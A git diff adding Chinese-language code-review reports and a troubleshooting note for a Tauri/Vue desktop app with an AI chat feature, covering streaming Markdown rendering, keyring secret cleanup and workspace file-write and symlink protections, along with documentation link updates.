- **核心张力**:crate 刻意解耦 → 跨 crate 编排全部上浮 src-tauri → IPC 层 5711 行成事实业务层(⑧⑨)。这是「高内聚低耦合」的代价,当前规模可忍,是中期技术债。
|
||||||
|
- **前端回潮**:AI 模块过度拆分(④)、project 上帝 store(③)、settings 死代码(②)三处结构性债。
|
||||||
|
|
||||||
|
**务实画像契合度**:整体偏「做减法、反过度抽象」——没为插件化搞动态加载、没给 df-core 塞虚 trait、Registry 用朴素 HashMap。违背处集中在 df-execute 存在(应删)和 src-tauri 膨胀(编排无处去)+ 前端 AI 模块拆分。
|
||||||
|
|
||||||
|
**行动建议(按 ROI)**:
|
||||||
|
| 优先级 | 项 | 动作 | 成本 |
|
||||||
|
|--------|-----|------|------|
|
||||||
|
| 立即 | ② | 删 stores/settings.ts 死代码 | 零风险 |
|
||||||
|
| 立即 | ⑤ | /decisions 死链(补路由 or 删 nav) | 零风险 |
|
||||||
|
| 短期 | ① | df-execute 合并进 df-nodes + 删死依赖 | 低(1 crate+1 依赖) |
|
||||||
|
| 短期 | ⑪ | stores/index.ts 补 useAiStore 导出 | 极低 |
|
||||||
|
| 中期 | ③ | project.ts 拆分 + 审批沉 api 层 | 中 |
|
||||||
|
| 中期 | ④ | ai composables 合回 or 破环 | 中 |
|
||||||
|
| B 路线 | ⑧⑨⑭ | IPC 编排层抽取 / agent loop 下沉 / AiSession 多会话 | 大(随 B 路线) |
|
||||||
129
docs/05-代码审查/自研块级memo流式渲染审查-2026-06-15.md
Normal file
129
docs/05-代码审查/自研块级memo流式渲染审查-2026-06-15.md
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
# 自研块级 memo 流式 Markdown 渲染 代码审查(2026-06-15)
|
||||||
|
|
||||||
|
> 范围:`src/components/AiChat.vue` ARC-260615-08 实施 diff —— 块级 memo 流式渲染(splitBlocks/parseBlock/parseBlockNoCache/renderStreamingMd/scheduleStreamParse/renderContent + watch/onBeforeUnmount)+ confirm 抽取(CR-260615-02)。约 ~90 行改动。
|
||||||
|
> 背景:决策转向(同日复盘)—— markstream-vue 试装弃用(样式 100% 还原成本高且脆),改自研块级 memo(方案 B 增强版)。详见 [aichat流式Markdown渲染调研-2026-06-15.md](../02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md) §5。
|
||||||
|
> 性质:**dry — 仅走查 + 文档,不改代码**(本会话职责:走查/整理/建待办,见 memory session-role-diagnose-only)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 必须修复(0)
|
||||||
|
|
||||||
|
无。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 建议改进(3)
|
||||||
|
|
||||||
|
### ① [AiChat.vue splitBlocks] 手写正则切块与 marked 语法不一致 → 改用 marked.lexer()
|
||||||
|
|
||||||
|
**改什么**:`fenceRe = /```[^\n]*\n[\s\S]*?(?:```|$)/g` 两个不一致点:
|
||||||
|
- 不要求 ``` 在行首 → 行中裸 ```(如文本解释 markdown 语法)被误当围栏切入;marked 要求行首(≤3 空格缩进)。
|
||||||
|
- 固定匹配 3 backtick → LLM 展示嵌套代码用 4+ backtick 围栏(````````)时按 3 切错;marked 按围栏 backtick 数判定。
|
||||||
|
|
||||||
|
前块缓存(parseBlock)会**固化错误 html**——文本稳定后 splitBlocks 切错的块被缓存,marked 实际解析与之不符。决策备注「借鉴机制 2」,但机制 2 原生做法是 `marked.lexer()` 切块,实现用了手写正则偏离。
|
||||||
|
|
||||||
|
**怎么改**:用 marked.lexer 切块,与 marked 解析天然一致,零切错风险,零额外成本(marked 已加载):
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- /// 切块:代码围栏(```...```)整体一块(跨双换行不切),非代码段按双换行切段。
|
||||||
|
- /// 流式期末块可能不完整(未闭合围栏/半截段落),交给 parseBlockNoCache 每次重 parse。
|
||||||
|
- function splitBlocks(text: string): string[] {
|
||||||
|
- const blocks: string[] = []
|
||||||
|
- const fenceRe = /```[^\n]*\n[\s\S]*?(?:```|$)/g
|
||||||
|
- let last = 0
|
||||||
|
- let m: RegExpExecArray | null
|
||||||
|
- while ((m = fenceRe.exec(text)) !== null) {
|
||||||
|
- if (m.index > last) {
|
||||||
|
- for (const b of text.slice(last, m.index).split(/\n{2,}/)) if (b.trim()) blocks.push(b)
|
||||||
|
- }
|
||||||
|
- blocks.push(m[0])
|
||||||
|
- last = m.index + m[0].length
|
||||||
|
- }
|
||||||
|
- if (last < text.length) {
|
||||||
|
- for (const b of text.slice(last).split(/\n{2,}/)) if (b.trim()) blocks.push(b)
|
||||||
|
- }
|
||||||
|
- return blocks.length ? blocks : [text]
|
||||||
|
- }
|
||||||
|
+ /// 切块:用 marked.lexer 切块(机制2原生做法),与 marked 解析一致,零切错风险。
|
||||||
|
+ /// 流式期末块可能不完整(未闭合围栏/半截段落),交给 parseBlockNoCache 每次重 parse。
|
||||||
|
+ function splitBlocks(text: string): string[] {
|
||||||
|
+ const tokens = _marked!.lexer(text)
|
||||||
|
+ const blocks = tokens.map(t => t.raw).filter(Boolean)
|
||||||
|
+ return blocks.length ? blocks : [text]
|
||||||
|
+ }
|
||||||
|
```
|
||||||
|
|
||||||
|
> 注:Vercel AI SDK 官方 cookbook `parseMarkdownIntoBlocks` 正是 `marked.lexer(md).map(t => t.raw)`。
|
||||||
|
|
||||||
|
### ② [parseBlock/parseBlockNoCache] DRY — parse 核心逻辑重复
|
||||||
|
|
||||||
|
**改什么**:`_purify!.sanitize(_marked!.parse(block) as string)` 在 parseBlock 和 parseBlockNoCache 各写一遍。
|
||||||
|
|
||||||
|
**怎么改**:parseBlock 内部调 parseBlockNoCache:
|
||||||
|
|
||||||
|
```diff
|
||||||
|
function parseBlock(block: string): string {
|
||||||
|
const cached = _blockCache.get(block)
|
||||||
|
if (cached !== undefined) return cached
|
||||||
|
- const html = _purify!.sanitize(_marked!.parse(block) as string)
|
||||||
|
+ const html = parseBlockNoCache(block)
|
||||||
|
if (_blockCache.size > BLOCK_CACHE_LIMIT) _blockCache.clear()
|
||||||
|
_blockCache.set(block, html)
|
||||||
|
return html
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### ③ [loadMarkdown] marked 就绪后流式不主动重算 → 首屏 marked 慢时末段纯文本
|
||||||
|
|
||||||
|
**改什么**:流式中 marked 异步加载完成(mdReady 翻转)后,streamingHtml 不会自动重算 —— scheduleStreamParse 只在 `currentText` 变化时触发。若 marked 在流式结束前就绪且无新 delta 到达,最后一段停留在 escapeHtml 纯文本(renderStreamingMd 的 `!mdReady` 兜底分支产物)。
|
||||||
|
|
||||||
|
**怎么改**:loadMarkdown 成功后若正在流式,主动触发一次:
|
||||||
|
|
||||||
|
```diff
|
||||||
|
_purify = dp.default
|
||||||
|
_mdCache.clear()
|
||||||
|
mdReady.value = true
|
||||||
|
+ // marked 就绪后若正在流式,主动重算(防首屏 marked 慢致末段停留纯文本)
|
||||||
|
+ if (store.state.streaming && store.state.currentText) scheduleStreamParse(store.state.currentText)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚪ 可选优化(2)
|
||||||
|
|
||||||
|
### ④ [parseBlock _blockCache] 超 limit 整体 clear 粗暴
|
||||||
|
|
||||||
|
`if (_blockCache.size > BLOCK_CACHE_LIMIT) _blockCache.clear()` —— 清后下一帧所有前块全重 parse,可能瞬时卡顿。300 limit 对单条回复够(块数远不到),跨多条回复累积才触发,影响小。可改删最早一条做简易 LRU:`_blockCache.delete(_blockCache.keys().next().value)`。
|
||||||
|
|
||||||
|
### ⑤ [renderMd/renderStreamingMd 兜底] escapeHtml 重复
|
||||||
|
|
||||||
|
`escapeHtml(text).replace(/\n/g, '<br>')` 两处重复,可抽 `escapeFallback(text)`。一行重复,收益轻。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ 亮点
|
||||||
|
|
||||||
|
- **退役 AR-1 纯文本短路**:流式全程有格式(标题/列表/代码块),D 级流式性能,零新依赖零样式对接(决策转向 markstream→自研的核心理由:保留原 `.ai-md` 样式 > 虚拟窗口/shiki 高级能力)。
|
||||||
|
- **末块不缓存处理未闭合 token**:`parseBlockNoCache` 每次重 parse 末块,正确处理流式未闭合围栏/半截段落;前块缓存命中 O(全文)→O(末块)。
|
||||||
|
- **rAF 节流 + 块级 memo 组合**:业界主流机制(Vercel AI SDK 做法),60fps 封顶防主线程阻塞掉帧。
|
||||||
|
- **watch streaming 翻转清理时序正确**:结束 cancelAnimationFrame + 清 streamingHtml/lastStreamText,回 renderMd 走 final marked + 整段缓存;onBeforeUnmount 清 rAF 防 leak。
|
||||||
|
- **confirm 顺带抽取(CR-260615-02)**:第五份 confirm 样板迁 useConfirm,DRY 收口(原 Projects/ProjectDetail/Ideas/Settings/AiChat 各一份)。
|
||||||
|
- **决策转向有完整留痕**:试装 markstream-vue 弃用 → 自研块级 memo,调研文档 §5 复盘记录含反转理由(「不要高级能力、要原样式」前提下自研最优)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 摘要
|
||||||
|
|
||||||
|
| # | 等级 | 文件:行 | 修改内容 |
|
||||||
|
|---|------|---------|----------|
|
||||||
|
| ① | 🟡 | AiChat.vue splitBlocks | 手写正则切块改 marked.lexer()(与 marked 一致,防切错固化错误 html) |
|
||||||
|
| ② | 🟡 | AiChat.vue parseBlock | parseBlock 内部调 parseBlockNoCache(DRY) |
|
||||||
|
| ③ | 🟡 | AiChat.vue loadMarkdown | marked 就绪后若流式中主动 scheduleStreamParse(防末段纯文本) |
|
||||||
|
| ④ | ⚪ | AiChat.vue _blockCache | clear 改删最早一条(简易 LRU) |
|
||||||
|
| ⑤ | ⚪ | AiChat.vue 兜底 | escapeFallback 抽公共(DRY) |
|
||||||
|
|
||||||
|
**总计**:🔴0 🟡3 ⚪2
|
||||||
|
|
||||||
|
**总体评价**:块级 memo 实现方向正确(机制 2 + rAF + 末块重 parse + 退役 AR-1 纯文本短路),核心建议 ① 改 lexer 消除「手写切块与 marked 解析不一致」的固化风险——这是唯一偏离决策原意(机制 2 原生 = lexer)之处。
|
||||||
|
|
||||||
|
**质量评级**:良(改 ①②③ 达优)
|
||||||
201
docs/05-代码审查/近期改动代码审查-2026-06-15.md
Normal file
201
docs/05-代码审查/近期改动代码审查-2026-06-15.md
Normal file
@@ -0,0 +1,201 @@
|
|||||||
|
# 近期改动代码审查报告(2026-06-15)
|
||||||
|
|
||||||
|
> 范围:工作区未提交 Rust(FR-S1 密钥管理 / FR-S7 写入防护 / FR-S8 symlink 防护)+ 近 5 个提交(Rust 后端 7 文件 + 前端 12 文件),约 770 行。
|
||||||
|
> 方法:主代理深读工作区安全改动(secret.rs / tool_registry.rs / commands.rs / lib.rs,含 resolve_workspace_path 双层校验、write_file 原子写、list_dir symlink 处理)+ 2 个 general-purpose 子代理并行审「近 5 提交 Rust 后端」「近 5 提交前端」,主代理对三路结果核实去重并补查 keyring 闭环。
|
||||||
|
> 去重:与 [全栈代码审查报告-2026-06-14.md](全栈代码审查报告-2026-06-14.md) / [架构与缺陷复核报告-2026-06-14.md](架构与缺陷复核报告-2026-06-14.md) 范围互补——前两份是 06-14 全栈基线审查,本轮针对 **06-14 之后的提交(FR-S 安全修复、confirm 抽取、dag 拓扑 O(V+E)、流式健壮性)+ 工作区未提交**。aichat AR 系列、FR-C/S/R 已修项不重复,仅审本轮代码本身引入或暴露的新问题。
|
||||||
|
> 互斥:本报告 §①(FR-S1 keyring 清理闭环)与 [aichat审查报告](../02-架构设计/aichat审查报告-2026-06-14.md) 的 FR-S1 条目同源(密钥迁移至 keyring),本轮发现其删除路径闭环缺失。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 审查范围
|
||||||
|
|
||||||
|
**工作区未提交(Rust)**:
|
||||||
|
- `src-tauri/src/commands/ai/secret.rs`(新文件,FR-S1 keyring 管理)
|
||||||
|
- `src-tauri/src/commands/ai/tool_registry.rs`(write_file 原子写+.bak / read_file 二进制降级+limit 上限 / list_dir symlink 防护)
|
||||||
|
- `src-tauri/src/commands/ai/commands.rs`(ai_list_providers mask / ai_save_provider 密钥转 keyring)
|
||||||
|
- `src-tauri/src/commands/ai/{agentic,knowledge_inject,title,mod}.rs`、`commands/project.rs`、`lib.rs`(resolve_provider_secret 接入 + 启动迁移)
|
||||||
|
|
||||||
|
**近 5 提交(commit 4b5f096 → f58743e)**:
|
||||||
|
- Rust:`df-ai/{anthropic_compat,openai_compat,context}.rs`、`df-workflow/{dag,executor}.rs`、`df-storage/crud.rs`、`audit.rs`
|
||||||
|
- 前端:`ToolCard.vue`、`AiChat.vue`、`useAiEvents.ts`、`useConfirm.ts`、4 个 view、2 个 i18n
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 必须修复(1)
|
||||||
|
|
||||||
|
### ① [commands.rs:390-401] 删 provider 不清理 keyring — FR-S1 密钥残留泄漏
|
||||||
|
|
||||||
|
**现状**:FR-S1 把密钥迁到 OS keyring(`devflow-ai-provider/<id>`),DB `api_key` 列置空。`secret.rs:44` 已定义 `delete_provider_secret`,但 `ai_delete_provider` 只调 `state.ai_providers.delete`,**keyring entry 永久残留**。
|
||||||
|
|
||||||
|
**问题**:用户「删除 provider」本意含撤销密钥,残留密钥仍可被同用户下任意进程读取;迁移后若同 id 被复用(new_id 为 uuid 概率极低,但外部指定 id 场景存在),旧密钥复活。FR-S1 安全特性闭环缺一环。
|
||||||
|
|
||||||
|
**修法**:删 DB 后清理 keyring(失败仅日志不阻断——DB 已删,残留 keyring 无消费方)。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
pub async fn ai_delete_provider(
|
||||||
|
state: State<'_, AppState>,
|
||||||
|
provider_id: String,
|
||||||
|
) -> Result<(), String> {
|
||||||
|
state.ai_providers.delete(&provider_id).await.map_err(|e| e.to_string())?;
|
||||||
|
+ // FR-S1:清理 keyring 残留密钥(失败仅日志,不阻断删除——DB 已删,残留 keyring 无消费方)
|
||||||
|
+ if let Err(e) = super::secret::delete_provider_secret(&provider_id) {
|
||||||
|
+ tracing::warn!("[FR-S1] 删除 provider 后清理 keyring 失败 {}: {}", provider_id, e);
|
||||||
|
+ }
|
||||||
|
let mut session = state.ai_session.lock().await;
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 建议改进(7)
|
||||||
|
|
||||||
|
### ② [audit.rs:50] `_` 把 DB Err 误报为「项目已不存在」
|
||||||
|
|
||||||
|
**现状**:`get_by_id` 的 `Err`(DB 故障/锁/连接断)与 `Ok(None)`(真不存在)被 `_` 合并,DB 出错时用户看到误导性「项目没了」而非错误。
|
||||||
|
|
||||||
|
**修法**:分三臂,`Err` 打日志回退裸 id。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- match repo.get_by_id(id).await {
|
||||||
|
- Ok(Some(p)) => format!("「{}」(id={})", p.name, id),
|
||||||
|
- _ => format!("(项目已不存在, id={})", id),
|
||||||
|
- }
|
||||||
|
+ match repo.get_by_id(id).await {
|
||||||
|
+ Ok(Some(p)) => format!("「{}」(id={})", p.name, id),
|
||||||
|
+ Ok(None) => format!("(项目已不存在, id={})", id),
|
||||||
|
+ Err(e) => { tracing::warn!(%id, error=%e, "查项目标签失败"); format!("(id={})", id) }
|
||||||
|
+ }
|
||||||
|
```
|
||||||
|
|
||||||
|
### ③ [openai_compat.rs:414] `anyhow::anyhow!(e)` 丢 error source 链
|
||||||
|
|
||||||
|
**现状**:非超时分支用 `anyhow!(e)` 把 `reqwest::Error` 整体塞进 message,丢失 `#[source]` 因果链(`?` 本会保留)。注释强调「不静默挂」,此处反而降低可追溯性。
|
||||||
|
|
||||||
|
**修法**:保留 source。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- } else {
|
||||||
|
- anyhow::anyhow!(e)
|
||||||
|
- }
|
||||||
|
+ } else {
|
||||||
|
+ anyhow::Error::from(e)
|
||||||
|
+ }
|
||||||
|
```
|
||||||
|
|
||||||
|
### ④ [AiChat.vue:371-387] 第五份 confirm 逻辑未迁移 useConfirm
|
||||||
|
|
||||||
|
**现状**:本次「confirmDialog 抽 composable」收敛了 Projects/ProjectDetail/Ideas/Settings 四处 `{visible,msg,resolve}+Promise` 样板,但 `AiChat.vue` 是同模式第五处(reactive 版,删对话/清空消息),被遗漏。抽取做了一半,下次改 confirm 语义这里会脱节。
|
||||||
|
|
||||||
|
**修法**:直接复用 composable。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- const confirmState = reactive({ visible:false, msg:'', resolve:null as null|((v:boolean)=>void) })
|
||||||
|
- function confirmDialog(msg:string):Promise<boolean> { /* Promise 样板 */ }
|
||||||
|
- function answerConfirm(ok:boolean) { /* ... */ }
|
||||||
|
+ const { confirmState, confirmDialog, answerConfirm } = useConfirm()
|
||||||
|
```
|
||||||
|
|
||||||
|
### ⑤ [ToolCard.vue:313] displayArgValue 对非 string id 降级为裸值
|
||||||
|
|
||||||
|
**现状**:项目名回显前提是 `typeof arg.val === 'string'`。若后端把 id 序列化成 number(JSON 无引号整数),`id` 变空串、分支不进、落到裸数字显示——恰是本次「可读化」要消灭的形态,且无告警。既然已为「查不到项目名」做 `projectIdNotFound` 兜底,类型不一致这一更基本的不可靠也应收口。
|
||||||
|
|
||||||
|
**修法**:归一为 string。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- const id = typeof arg.val === 'string' ? arg.val : ''
|
||||||
|
+ const id = typeof arg.val === 'string' || typeof arg.val === 'number' ? String(arg.val) : ''
|
||||||
|
```
|
||||||
|
|
||||||
|
> 若确认后端 id 恒为 string uuid,此项可降为 ⚪。
|
||||||
|
|
||||||
|
### ⑥ [tool_registry.rs:469-484] `.bak`/`.tmp-write` 残留污染目录视图
|
||||||
|
|
||||||
|
**现状**:FR-S7 覆盖前备份 `path.bak` + 原子写用 `path.tmp-write`,两者留在 workspace 内且**永不清理**,多次写入堆积;`list_directory` 不过滤它们(`is_noise_dir` 只过滤目录),LLM/用户看到的目录混入噪音文件,LLM 可能误读 `.bak` 当真实文件。
|
||||||
|
|
||||||
|
**修法**:`.bak` 是给用户恢复用的安全网不能删;改为 `list_dir_recursive` 把 `.bak`/`.tmp-write` 后缀并入跳过,或写入前清理同 path 旧 `.bak`(只留最新一份)。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
+fn is_noise_file(name: &str) -> bool {
|
||||||
|
+ name.ends_with(".bak") || name.ends_with(".tmp-write")
|
||||||
|
+}
|
||||||
|
// list_dir_recursive 推 entry 前过滤
|
||||||
|
+if is_noise_file(&name) { continue; }
|
||||||
|
```
|
||||||
|
|
||||||
|
### ⑦ [crud.rs:1187] COLS 手写列串易与表结构漂移
|
||||||
|
|
||||||
|
**现状**:`COLS` 硬编码列名,表加列/`KnowledgeRecord` 改字段时编译期不报错(query_map 按列名读,列少才运行时崩)。「列限定」目标未真正达成——隐式依赖从「表全列」挪到「手写列串」。注释偏长(10 行 TODO)。
|
||||||
|
|
||||||
|
**修法**:加一行测试断言列数 == 14 防漂移,或注释压缩并点明「改表结构需同步本常量」。
|
||||||
|
|
||||||
|
### ⑧ [ToolCard.vue:288-293] projectNameById computed 过度结构化
|
||||||
|
|
||||||
|
**现状**:computed 每次重建覆盖全部项目(含回收站)的 Map,而审批卡通常仅 1-2 行用项目 id。为单点查询做的全量索引,收益成本不匹配。
|
||||||
|
|
||||||
|
**修法**:直接 find,命中即返(审批场景项目数有限、find 提前退出,响应式仍由 store 数组保证)。
|
||||||
|
|
||||||
|
```diff
|
||||||
|
- const projectNameById = computed<Record<string,string>>(() => { /* 遍历构建 map */ })
|
||||||
|
- const name = projectNameById.value[id]
|
||||||
|
+ const name = projectStore.projects.find(p => p.id === id)?.name
|
||||||
|
+ ?? projectStore.deletedProjects.find(p => p.id === id)?.name
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚪ 可选优化(5)
|
||||||
|
|
||||||
|
### ⑨ [dag.rs:126 / executor.rs:91] 邻接表两处镜像重复
|
||||||
|
|
||||||
|
`topological_layers` 与 executor 各自内联重建邻接表,旧 `successors`/`predecessors`(O(E) 全扫)成死代码候选。建议抽 `Dag::adjacency_out()/adjacency_in()` 供两处复用,或确认无调用方后删。
|
||||||
|
|
||||||
|
### ⑩ [anthropic_compat.rs:167] 占位 id `tool_missing_{idx}` 理论可撞
|
||||||
|
|
||||||
|
流式缺 id 用 index 兜底,同 index 复用理论可撞。实际 index 唯一、低概率,注释已说明。可加计数器求稳。
|
||||||
|
|
||||||
|
### ⑪ [useConfirm.ts:1] `//!` 注释风格
|
||||||
|
|
||||||
|
Rust doc 风格,但本仓 composable 既有此约定,保持一致即可,不必动。
|
||||||
|
|
||||||
|
### ⑫ [ToolCard.vue:61+] `parsed?.` 冗余可选链
|
||||||
|
|
||||||
|
这些引用都在 `v-if/parsed` 链内,到达时必非空。非本次引入。
|
||||||
|
|
||||||
|
### ⑬ [useAiEvents.ts:79] 注释「沿用正向扫描」表述含糊
|
||||||
|
|
||||||
|
改为「消息内 toolCalls 通常 1-2 条,正序即可」更清晰。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ 亮点
|
||||||
|
|
||||||
|
- **FR-S7 原子写 + .bak 双保险**(tool_registry.rs:467-498):write 崩溃不留半成品(tmp→rename),误覆盖有 .bak 兜底 + 缩减>90% warn。堵住「LLM 把 write_file 当 edit 致数据彻底丢失」的真实事故(会话 3473fcb7,PROGRESS.md 762 行/72KB 被覆盖成 248 字节)。
|
||||||
|
- **FR-S8 symlink 防护**(tool_registry.rs:528-540):`file_type()` 不跟随 symlink,symlink 标记但不递归——精准堵住「workspace 内 symlink 指向外部」的逃逸,且不取目标 metadata。防御点选在正确边界,非中间层冗余校验。
|
||||||
|
- **findToolCall 反向扫描权衡留痕**(useAiEvents.ts:75-85):注释讲透「为何不建 Map 索引」(messages 多处整体替换、独立索引易陈旧),行为等价、最坏复杂度明确,务实画像下优选。
|
||||||
|
- **renderMd 流式纯文本短路**(AiChat.vue:347-360):streaming 时跳过 marked+sanitize 避掉帧,刻意不缓存流式文本(防污染),false 翻转自动走 markdown 重渲染,决策清晰无副作用。
|
||||||
|
- **resolve_workspace_path 双层校验**(tool_registry.rs:50-65):词法层 `starts_with`(兜底不存在路径)+ canonicalize 层(解析存在路径的 symlink),返回词法 resolved 保证前端友好。设计扎实。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 摘要
|
||||||
|
|
||||||
|
| # | 等级 | 文件:行 | 修改内容 |
|
||||||
|
|---|------|---------|----------|
|
||||||
|
| ① | 🔴 | commands.rs:390 | 删 provider 补 keyring 清理(FR-S1 闭环) |
|
||||||
|
| ② | 🟡 | audit.rs:50 | Err 与 None 分臂,防误报「项目不存在」 |
|
||||||
|
| ③ | 🟡 | openai_compat.rs:414 | 保留 error source 链 |
|
||||||
|
| ④ | 🟡 | AiChat.vue:371 | 第五份 confirm 迁移 useConfirm |
|
||||||
|
| ⑤ | 🟡 | ToolCard.vue:313 | id 归一 string 覆盖 number |
|
||||||
|
| ⑥ | 🟡 | tool_registry.rs:469 | .bak/.tmp-write 列表过滤防噪音 |
|
||||||
|
| ⑦ | 🟡 | crud.rs:1187 | COLS 列数断言防漂移 |
|
||||||
|
| ⑧ | 🟡 | ToolCard.vue:288 | projectNameById 改 find |
|
||||||
|
| ⑨ | ⚪ | dag.rs/executor.rs | 邻接表抽公共方法消除重复 |
|
||||||
|
| ⑩ | ⚪ | anthropic_compat.rs:167 | 占位 id 加计数器 |
|
||||||
|
| ⑪ | ⚪ | useConfirm.ts:1 | 注释风格(保持现状) |
|
||||||
|
| ⑫ | ⚪ | ToolCard.vue:61+ | 去冗余可选链 |
|
||||||
|
| ⑬ | ⚪ | useAiEvents.ts:79 | 注释表述 |
|
||||||
|
|
||||||
|
**总计**:🔴1 🟡7 ⚪5
|
||||||
|
|
||||||
|
**总体评价**:改动方向扎实——FR-S7/S8 安全防护、拓扑 O(V+E)、流式健壮性、confirm 抽取都对路,注释质量高(权衡/根因都留痕)。唯一真实闭环漏洞是 ①(FR-S1 删 provider 漏清 keyring)。其余为 DRY 收口(④抽取只完成 4/5)与可维护性。
|
||||||
|
|
||||||
|
**质量评级**:良(修 ①④ 可达优)
|
||||||
@@ -92,6 +92,6 @@ const handleCreate = async () => {
|
|||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
- [Tauri IPC 模式](../01-技术文档/Tauri-IPC模式.md)
|
- [Tauri IPC 模式](../01-技术文档/Tauri-IPC模式-2026-06-12.md)
|
||||||
- [前后端类型对齐](../02-架构设计/前后端类型对齐.md)
|
- [前后端类型对齐](../02-架构设计/前后端类型对齐-2026-06-12.md)
|
||||||
- [DEVFLOW-3 Store 对接实施](../04-功能迭代/DEVFLOW-3.Store对接实施.md)
|
- [DEVFLOW-3 Store 对接实施](../04-功能迭代/DEVFLOW-3.Store对接实施-2026-06-12.md)
|
||||||
|
|||||||
@@ -27,10 +27,10 @@ Phase 1 目标:**引擎骨架**,打通 `df-core → df-workflow → df-stora
|
|||||||
|
|
||||||
| # | 任务 | 优先级 | 依赖 | 文档 |
|
| # | 任务 | 优先级 | 依赖 | 文档 |
|
||||||
|---|------|--------|------|------|
|
|---|------|--------|------|------|
|
||||||
| 7 | df-storage CRUD 层 | P0 | 无 | [DEVFLOW-1](../04-功能迭代/DEVFLOW-1.CRUD层实施.md) |
|
| 7 | df-storage CRUD 层 | P0 | 无 | [DEVFLOW-1](../04-功能迭代/DEVFLOW-1.CRUD层实施-2026-06-12.md) |
|
||||||
| 8 | Tauri IPC 命令层 | P0 | #7 | [DEVFLOW-2](../04-功能迭代/DEVFLOW-2.IPC桥接实施.md) |
|
| 8 | Tauri IPC 命令层 | P0 | #7 | [DEVFLOW-2](../04-功能迭代/DEVFLOW-2.IPC桥接实施-2026-06-12.md) |
|
||||||
| 9 | Store 接入 View | P0 | #8 | [DEVFLOW-3](../04-功能迭代/DEVFLOW-3.Store对接实施.md) |
|
| 9 | Store 接入 View | P0 | #8 | [DEVFLOW-3](../04-功能迭代/DEVFLOW-3.Store对接实施-2026-06-12.md) |
|
||||||
| 10 | 端到端验证 (3 节点工作流) | P0 | #7, #8, #9 | [DEVFLOW-4](../04-功能迭代/DEVFLOW-4.端到端验证.md) |
|
| 10 | 端到端验证 (3 节点工作流) | P0 | #7, #8, #9 | [DEVFLOW-4](../04-功能迭代/DEVFLOW-4.端到端验证-2026-06-12.md) |
|
||||||
| 11 | 首次 Git Commit | P0 | 无 | 建立版本基线 |
|
| 11 | 首次 Git Commit | P0 | 无 | 建立版本基线 |
|
||||||
|
|
||||||
### 已知问题
|
### 已知问题
|
||||||
@@ -62,4 +62,4 @@ Phase 1 目标:**引擎骨架**,打通 `df-core → df-workflow → df-stora
|
|||||||
|
|
||||||
- [ARCHITECTURE.md](../../ARCHITECTURE.md) — 完整架构设计
|
- [ARCHITECTURE.md](../../ARCHITECTURE.md) — 完整架构设计
|
||||||
- [PROGRESS.md](../../PROGRESS.md) — 工作进展与交接
|
- [PROGRESS.md](../../PROGRESS.md) — 工作进展与交接
|
||||||
- [Phase1 架构决策](../02-架构设计/Phase1架构决策.md)
|
- [Phase1 架构决策](../02-架构设计/Phase1架构决策-2026-06-12.md)
|
||||||
|
|||||||
@@ -75,7 +75,7 @@
|
|||||||
- 决策记录→architecture_pattern(前置 traceability 持久化)
|
- 决策记录→architecture_pattern(前置 traceability 持久化)
|
||||||
- MCP Shell 封装(外部工具 Claude Code/CodeX/Cursor 访问)
|
- MCP Shell 封装(外部工具 Claude Code/CodeX/Cursor 访问)
|
||||||
|
|
||||||
详见 [知识库模块文档](../03-模块文档/df-knowledge-知识库.md)。
|
详见 [知识库模块文档](../03-模块文档/df-knowledge-知识库-2026-06-14.md)。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
125
docs/09-问题排查/aichat-apikey-401排查-2026-06-15.md
Normal file
125
docs/09-问题排查/aichat-apikey-401排查-2026-06-15.md
Normal file
@@ -0,0 +1,125 @@
|
|||||||
|
# aichat API Key 鉴权失败排查
|
||||||
|
|
||||||
|
> 2026-06-15 排查 | 看板索引:`docs/todo.md`「🔴 aichat API Key 401 排查」区块
|
||||||
|
|
||||||
|
## 现象
|
||||||
|
|
||||||
|
- aichat 对话失败,提示「调用失败: API Key 无效或无权限」
|
||||||
|
- 重新设置 apikey 后仍无效
|
||||||
|
|
||||||
|
## 错误来源
|
||||||
|
|
||||||
|
- `stream_recv.rs:107-113`:`provider.stream(request)` 直接返回 `Err` 分支
|
||||||
|
- 错误文本:`format!("AI 调用失败: {}", e)`,`e` 为服务端返回的 401/403
|
||||||
|
- 即:请求发出去了,被服务端以鉴权/权限为由拒绝。**非流式中断、非网络断连。**
|
||||||
|
|
||||||
|
## 排查结论:代码链路全对(排除代码 bug)
|
||||||
|
|
||||||
|
### 保存链路(正确)
|
||||||
|
|
||||||
|
- `commands.rs ai_save_provider:329-333`:`api_key` 非空 → `set_provider_secret` 写 OS keyring
|
||||||
|
- 写失败会返回「密钥保存到系统钥匙串失败」(用户未报此错 → **写入成功**)
|
||||||
|
- `:334`:DB `api_key` 列恒空(FR-S1 设计,真实密钥唯一源 = OS keyring)
|
||||||
|
|
||||||
|
### 读取链路(正确)
|
||||||
|
|
||||||
|
所有 `build_provider` 调用点均经 `resolve_provider_secret`(keyring 优先,fallback DB):
|
||||||
|
|
||||||
|
| 调用点 | 行号 | 状态 |
|
||||||
|
|--------|------|------|
|
||||||
|
| agentic.rs(对话主循环) | :50 | ✓ |
|
||||||
|
